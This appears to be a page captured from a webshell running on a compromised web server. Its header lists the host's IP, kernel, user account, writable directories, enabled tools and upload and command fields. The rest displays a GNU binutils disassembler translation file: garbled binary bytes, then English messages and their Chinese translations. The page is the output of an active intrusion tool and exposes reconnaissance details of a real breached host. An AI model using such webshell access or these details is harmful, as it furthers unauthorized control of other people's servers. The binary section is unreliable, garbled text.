403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.21.241.17
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/locale/zh_CN/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/zh_CN/LC_MESSAGES/opcodes.mo
�����l01L3K�4��3�u�7ik�}
��[�x[�b��(�(�(�1%3%Y1.�?�? (`(�2�1�?(W���/�.�
+Fa{	�	�����($Mcz����*+
J%U){%�!�!�$4:P9�0�+�*".M|"�����!7Oh�)�%�#�++81d1�+�1�1& X t #� "� "�  � %!D!<X!�!�!�!�!�!+"="!W""y"+�" �" �" 
#+#K#!_#�#�#�#�#�#�#$6$T$r$�$�$"�$�$�$
%%%8%%I%o%�%�%�%�%�%�%�%!	&+&$<&%a&�&�&2�&2�&2 'S'j'z'�'�'�'�'%�' (8(-X(;�(/�(	�(�()!)1)A) Y)z)�)�)��)�+>�+=�+/;,�k,5-z:-2�-z�-Tc.l�.D%/ij/k�/k@0s�0( 1(I1(r1*�1(�1(�1*2'C20k20�2+�2+�2+%3*Q39|3+�3�3�3
404/J4z4�4�4�4�4�4�455&5<5N5`5,{5�5�5�5�5*6*:6e6"{6�6�6�6"�67*7E7`7~7E�7E�76#8-Z84�83�8�8	9%979I9^9s9�9�9�9%�9�9,:'-:'U:1}:1�:9�:9;1U;9�;9�;�;<#.<"R<"u<�<0�<�<9�<6=L=g=�=�='�=�=�=�=#>3>J>a>x>�>�>�>�>�>�>??-?A?U?i?y?	�?�?�?�?�?�?�?$@3@F@b@{@�@�@
�@
�@!�@�@A$!A#FAjA.|A/�A.�A
B B-BIBYBuB�B�B�B�B3C78C4pC	�C�C�C�C�C�CDD4DCD]>��	w�zmx�*Lk'�n6Qd.r R^@���is|h��t85Vv!�pKj3{CMP�:}%<9$B��A(f�?a_�o��N`y�\�D��eF-T�G�~�lJ1�H�Y,�����b�4=�+"&#���I�W�c[��S����g)U�OX�q��E
;u7Z��
��/20�

  For the options above, The following values are supported for "ARCH":
   
  For the options above, the following values are supported for "ABI":
   
  aliases            Do print instruction aliases.

  cp0-names=ARCH           Print CP0 register names according to
                           specified architecture.
                           Default: based on binary being disassembled.

  debug_dump         Temp switch for debug trace.

  fpr-names=ABI            Print FPR names according to specified ABI.
                           Default: numeric.

  no-aliases         Don't print instruction aliases.

  reg-names=ABI            Print GPR and FPR names according to
                           specified ABI.

  reg-names=ARCH           Print CP0 register and HWR names according to
                           specified architecture.

The following AARCH64 specific disassembler options are supported for use
with the -M switch (multiple options should be separated by commas):

The following ARM specific disassembler options are supported for use with
the -M switch:

The following MIPS specific disassembler options are supported for use
with the -M switch (multiple options should be separated by commas):

The following PPC specific disassembler options are supported for use with
the -M switch:

The following S/390 specific disassembler options are supported for use
with the -M switch (multiple options should be separated by commas):

The following i386/x86-64 specific disassembler options are supported for use
with the -M switch (multiple options should be separated by commas):
  addr16      Assume 16bit address size
  addr32      Assume 32bit address size
  addr64      Assume 64bit address size
  att         Display instruction in AT&T syntax
  data16      Assume 16bit data size
  data32      Assume 32bit data size
  dpfp            Recognize FPX DP instructions.
  dsp             Recognize DSP instructions.
  fpud            Recognize double precision FPU instructions.
  fpus            Recognize single precision FPU instructions.
  i386        Disassemble in 32bit mode
  i8086       Disassemble in 16bit mode
  intel       Display instruction in Intel syntax
  spfp            Recognize FPX SP instructions.
  suffix      Always display instruction suffix in AT&T syntax
  x86-64      Disassemble in 64bit mode
# <dis error: %08lx>$<undefined>%02x		*unknown*%dsp16() takes a symbolic address, not a number%dsp8() takes a symbolic address, not a number%s: Error: %s: Warning: 'LSL' operator not allowed'ROR' operator not allowed(DP) offset out of range.(SP) offset out of range.(unknown)*unknown*21-bit offset out of range64-bit address is disabled<function code %d><illegal precision><internal disassembler error><internal error in opcode table: %s %s>
<unknown register %d>ABORT: unknown operandAddress 0x%s is out of bounds.
Bad immediate expressionBad register in postincrementBad register in preincrementBad register nameDon't know how to specify # dependency %s
Error: read from memory failedHmmmm 0x%xImmediate is out of range -128 to 127Immediate is out of range -32768 to 32767Immediate is out of range -512 to 511Immediate is out of range -7 to 8Immediate is out of range -8 to 7Immediate is out of range 0 to 65535Internal disassembler errorInternal error:  bad sparc-opcode.h: "%s", %#.8lx, %#.8lx
Internal error: bad sparc-opcode.h: "%s", %#.8lx, %#.8lx
Invalid position, should be 0, 16, 32, 48 or 64.Invalid position, should be 0, 8, 16, or 24Invalid position, should be 0,4, 8,...124.Invalid position, should be 16, 32, 64 or 128.Label conflicts with `Rx'Label conflicts with register nameMissing '#' prefixMissing '.' prefixMissing 'pag:' prefixMissing 'pof:' prefixMissing 'seg:' prefixMissing 'sof:' prefixOperand is not a symbolSR/SelID is out of rangeSyntax error: No trailing ')'Unknown error %d
Unrecognised disassembler CPU option: %s
Unrecognised disassembler option: %s
Unrecognised register name set: %s
Unrecognized field %d while building insn.
Unrecognized field %d while decoding insn.
Unrecognized field %d while getting int operand.
Unrecognized field %d while getting vma operand.
Unrecognized field %d while printing insn.
Unrecognized field %d while setting int operand.
Unrecognized field %d while setting vma operand.
Value is not aligned enoughValue must be a multiple of 16Value must be in the range 0 to 240Value must be in the range 0 to 28Value must be in the range 0 to 31Value must be in the range 1 to W keyword invalid in FR operand slot.W register expectedWarning: disassembly unreliable - not enough bytes availableaddress writeback expectedbad instruction `%.50s'bad instruction `%.50s...'branch operand unalignedbranch to odd offsetbranch value not in range and to odd offsetbranch value out of rangedisplacement value is not aligneddisplacement value is out of rangedon't know how to specify %% dependency %s
dsp:16 immediate is out of rangedsp:20 immediate is out of rangedsp:24 immediate is out of rangedsp:8 immediate is out of rangeextraneous registerfloating-point immediate expectedillegal bitmaskillegal immediate valueillegal use of parenthesesimm10 is out of rangeimm:6 immediate is out of rangeimmediate is out of range 0-7immediate is out of range 1-2immediate is out of range 1-8immediate is out of range 2-9immediate offsetimmediate out of rangeimmediate valueimmediate value cannot be registerimmediate value is out of rangeimmediate value out of rangeinvalid conditional optioninvalid mask fieldinvalid registerinvalid register for stack adjustmentinvalid register nameinvalid register offsetinvalid shift amountinvalid shift operatorjump hint unalignedjunk at end of linemissing `)'missing `]'missing mnemonic in syntax stringmissing registernegative immediate value not allowednegative or unaligned offset expectedoffset(IP) is not a valid formoperand is not zerooperand out of range (%ld not between %ld and %ld)operand out of range (%ld not between %ld and %lu)operand out of range (%lu not between %lu and %lu)register element indexregister numberregister number must be evenshift amountshift amount must be 0 or 12shift amount must be 0 or 16shift amount must be 0 or 8shift amount must be a multiple of 16shift operator expectedstack pointer register expectedsyntax error (expected char `%c', found `%c')syntax error (expected char `%c', found end of instruction)unable to change directory to "%s", errno = %s
undefinedunexpected address writebackunknownunknown	0x%02lxunknown	0x%04lxunknown constraint `%c'unrecognized form of instructionunrecognized instructionvector5 is out of rangevector8 is out of rangeProject-Id-Version: opcodes 2.28.90
Report-Msgid-Bugs-To: bug-binutils@gnu.org
POT-Creation-Date: 2017-07-03 16:55+0200
PO-Revision-Date: 2017-11-25 20:10+0800
Last-Translator: Boyuan Yang <073plan@gmail.com>
Language-Team: Chinese (simplified) <i18n-zh@googlegroups.com>
Language: zh_CN
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Bugs: Report translation errors to the Language-Team address.
X-Generator: Poedit 2.0.4


  对于以上的选项，以下值可被用于 "ARCH"：
   
  对于以上的选项，以下值可被用于 "ABI"：
   
  aliases            要打印指令别名。

  cp0-names=ARCH           根据指定的架构打印 CP0 寄存器名。
                           默认：根据被反汇编的二进制代码。

  debug_dump         调试跟踪的临时开关。

  fpr-names=ABI            根据指定的 ABI 打印浮点寄存器名。
                           默认：数字。

  no-aliases         不要打印指令别名。

  reg-names=ABI            根据指定的 ABI 打印通用寄存器和浮点寄存
                           器名。

  reg-names=ARCH           根据指定的架构打印 CP0 和 HWR 寄存器名。

下列 AARCH64 特定的反汇编器选项可通过 -M 开关启用（使用逗号分隔多个选项）：

下列 ARM 特定的反汇编器选项可通过 -M 开关启用：

下列 MIPS 特定的反汇编器选项可通过 -M 开关启用（使用逗号分隔多个选项）：

下列 PPC 特定的反汇编器选项在使用 -M 开关时可用（使用逗号分隔多个选项）：


下列 S/390 特定的反汇编器选项可通过 -M 开关启用（使用逗号分隔多个选项）：

下列 i386/x86-64 特定的反汇编器选项在使用 -M 开关时可用（使用逗号分隔多个选项）：
  addr16      假定 16 位地址大小
  addr32      假定 32 位地址大小
  addr64      假定 64 位地址大小
  att         用 AT&T 语法显示指令
  data16      假定 16 位数据大小
  data32      假定 32 位数据大小
  dpfp            识别 FPX DP 指令。
  dsp             识别 DSP 指令。
  fpud            识别双精度 FPU 指令。
  fpus            识别单精度 FPU 指令。
  i386        在 32 位模式下反汇编
  i8086       在 16 位模式下反汇编
  intel       用 Intel 语法显示指令
  spfp            识别 FPX SP 指令。
  suffix      在 AT&T 语法中始终显示指令后缀
  x86-64      在 64 位模式下反汇编
# <反汇编出错: %08lx>$<未定义>%02x		*未知*%dsp16() 使用一个符号地址，而非数字%dsp8() 使用一个符号地址，而非数字%s：错误：%s：警告：不允许 'LSL' 操作符不允许 'ROR' 操作符(DP) 偏移量越界(SP) 偏移量越界。(未知)*未知*21位长的偏移量越界64 位地址已禁用<函数代码 %d><非法的精度><反汇编器内部错误><操作数表中出现内部错误：%s %s>
<未知的寄存器 %d>中止：未知的操作数地址 0x%s 越界。
错误的立即数表达式后置自增中使用了错误的寄存器前置自增中使用了错误的寄存器错误的寄存器名不知道如何指定 # 依赖 %s
错误：从内存读取失败咦... 0x%x立即数越界 (-128 到 127)立即数越界 (-32768 到 32767)立即数越界 (-512 到 511)立即数越界 (-7 到 8)立即数越界 (-8 到 7)立即数越界 (0 到 65535)反汇编器内部错误内部错误：错误的 sparc-opcode.h：“%s”，%#.8lx，%#.8lx
内部错误：错误的 sparc-opcode.h：“%s”，%#.8lx，%#.8lx
无效的位置，应当为 0、16、32、48 或 64。无效的位置，应当为 0、8、16 或 24无效的位置，应当为 0、4、8、...、124。无效的位置，应当为 16、32、64 或 128。标号与‘Rx’冲突标号与寄存器名冲突缺失 '#' 前缀缺失 '.' 前缀缺失 'pag:' 前缀缺失 'pof:' 前缀缺失 'seg:' 前缀缺失 'sof:' 前缀操作数不是一个符号SR/SelID 越界语法错误：没有结尾的‘)’未知错误 %d
无法识别的反汇编器 CPU 选项：%s
无法识别的反汇编器选项：%s
无法识别的寄存器名称集：%s
建立 insn 时遇到无法识别的字段 %d。
解码 insn 时遇到无法识别的字段 %d。
获得 int 操作数时遇到无法识别的字段 %d。
获得 vma 操作数时遇到无法识别的字段 %d。
打印 insn 时遇到无法识别的字段 %d。
设置 int 操作数时遇到无法识别的字段 %d。
设置 vma 操作数时遇到无法识别的字段 %d。
数值对齐程度不够值必须是 16 的倍数值必须在 0 到 240 的范围中值必须在 0 到 28 的范围中值必须在 0 到 31 的范围中值的范围必须在 1 到 W 关键字非法，在 FR 操作数槽位中。预期的 W 寄存器警告：反汇编不可靠 - 没有足够的可用字节预期的地址写回错误的指令‘%.50s’错误的指令‘%.50s...’分支操作数未对齐跳转偏移量为奇数跳转越界且跳转偏移量为奇数跳转越界偏移值未对齐偏移值越界不知道如何指定 %% 依赖 %s
dsp:16 立即数越界dsp:20 立即数越界dsp:24 立即数越界dsp:8 立即数越界多余寄存器预期的浮点常量立即数非法的位掩码非法的立即数括号用法非法imm10 越界imm:6 立即数越界立即数越界 0-7立即数越界 1-2立即数越界 1-8立即数越界 2-9立即数偏移立即数越界立即数立即数不能是寄存器立即数越界立即数越界无效的条件选项无效的掩码字段无效的寄存器用于调整堆栈的寄存器无效无效寄存器名无效的寄存器偏移量无效的移位操作数无效的移位操作符跳转提示未对齐行尾有垃圾字符缺少‘)’缺少 `]'语法字符串中没有助记符缺失寄存器不允许负立即数预期的负或未对齐的偏移量偏移量（IP）不是合法格式操作数不是 0操作数越界(%ld 不在 %ld 和 %ld 之间)操作数越界 (%ld 不在 %ld 和 %lu 之间)操作数越界(%lu 不在 %lu 和 %lu 之间)寄存器元素下标寄存器数寄存器数必须是偶数移位操作数移位量必须为 0 或 12移位量必须为 0 或 16移位量必须为 0 或 8移位量必须是 16 的倍数预期的移位操作符预期的堆栈指针寄存器语法错误(需要字符‘%c’，得到‘%c’)语法错误(需要字符‘%c’，却到达指令尾)无法将当前目录切换至“%s”，errno = %s
未定义意外的地址写回未知未知	0x%02lx未知	0x%04lx未知的约束‘%c’无法识别的指令格式无法识别的指令vector5 越界vector8 越界

Youez - 2016 - github.com/yon3zu
LinuXploit